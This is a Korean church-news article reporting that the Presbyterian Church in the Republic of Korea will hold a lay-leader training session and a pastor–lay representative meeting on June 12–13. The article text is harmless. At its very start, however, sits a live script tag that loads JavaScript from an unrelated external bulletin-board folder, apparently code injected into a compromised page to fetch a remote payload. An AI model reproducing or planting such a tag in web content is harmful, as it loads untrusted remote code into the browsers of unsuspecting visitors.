<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 기장, 교단 발전 위해 목회자 평신도 대화 도모
12, 13일 연이어 교육과 간담회 개최
 
한국기독교장로회(총회장 박원근 목사, 이하 기장)가 목회자들과 평신도 지도자들 간의 벽을 허물고, 평신도 지도자들의 자질을 함양하기 위해 ‘신도회 지도자 교육’과 ‘목회자와 신도단체 대표자 간담회’를 연이어 갖는다.

기장은 “신도회 활성화를 위하여”를 주제로 6월 12일과 13일 유성스파피아호텔에서 연이어 열리는 두 행사를 통해, 교단의 정체성을 분명히 공유하고 선교를 위해 각 신도회가 나아가야 할 길을 제시할 계획이다.

신도회 지도자 교육에는 48개 남여연합회 현 지도자 및 후보 지도자, 10개 청년연합회 지도자가 참석한다. 신도회 지도자 교육은 ‘은총·생명·섬김의 삶’이라는 주제에 대한 성서적 배경 해설에 이어, “은총으로 거듭나는 신도”, “생명을 가꾸는 신도”, “섬김을 실천하는 신도”주제에 대한 교육이 이어진다.

또 목회자와 신도단체 대표자 간담회에는 24개 노회 노회장과 신도부장, 남여신도회전국연합회 임원 3인씩, 청년회전국연합회 임원 2인, 남여신도회 지연합회장 48인, 청년신도회 지연합회장 10인이 참석한다. 이 자리에서는 노회 지도자들과 평신도 지도자들간의 의사소통과 깊은 이해를 통해서 교단적으로 40%나 되는 ‘신도회 미조직교회’를 줄이는 등 신도회 활성화를 위한 새로운 방법을 모색할 계획이다.

류재광 기자 jgryoo@chtoday.co.kr